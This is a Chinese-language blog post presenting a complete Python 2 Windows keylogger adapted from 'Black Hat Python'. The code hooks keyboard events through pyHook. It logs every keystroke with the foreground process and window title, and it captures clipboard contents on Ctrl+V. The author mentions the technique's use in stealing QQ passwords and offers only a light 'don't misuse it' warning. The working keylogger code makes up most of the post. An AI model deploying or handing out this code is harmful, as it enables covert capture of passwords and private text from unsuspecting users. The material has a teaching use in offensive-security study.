Windows鍵盤嗅探器

Windows鍵盤嗅探器


今天,閒的無聊,於是做了一個簡單的鍵盤嗅探器,主要代碼來源於《Python黑帽子》,不得不說,這本書寫的特別好,帶我進入了黑客的編程世界。以前學習編程,只知道常用的功能,不知道怎麼入門網絡安全方面,當然嗎,現在還沒有。。。

鍵盤記錄是一個古老的技術,可以捕捉你在鍵盤上打的字符,從而知道你的隱私信息,以前QQ密碼常用的盜竊就是這樣實現的,當然了,一山更比一山高,現在最新版的QQ不能獲取了,我試探的時候,QQ客戶端會隨機產生字母出來,完全無法捕捉。

不管了,我們先來看看如何獲取鍵盤的信息,我們需要安裝PyHook庫,這個庫封裝了Windows函數SetWindowsHookEx,簡稱鉤子函數,這個函數允許我們安裝自定義的鉤子函數,當特定的WIndows事件發生,這個鉤子函數就會被調用,從而獲得按鍵消息。

我們看代碼:

#coding:utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    #獲得前臺句柄
    hwnd = user32.GetForegroundWindow()
    #獲得進程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
    process_id = '%d' % pid.value

    executable = create_string_buffer('\x00'*512)
    h_process = kernel32.OpenProcess(0x400|0x10,False,pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    #讀取窗口標題
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    print 
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    print 
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


####################################
##########鉤子核心代碼###############
def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
        # if they pressed a standard key
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        ####如果輸入的[Ctrl+V],則獲得剪貼板內容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True
###############鉤子管理#######
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()

最後運行,就可以獲得敲鍵盤的所以信息了,不要用它幹壞事哦!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章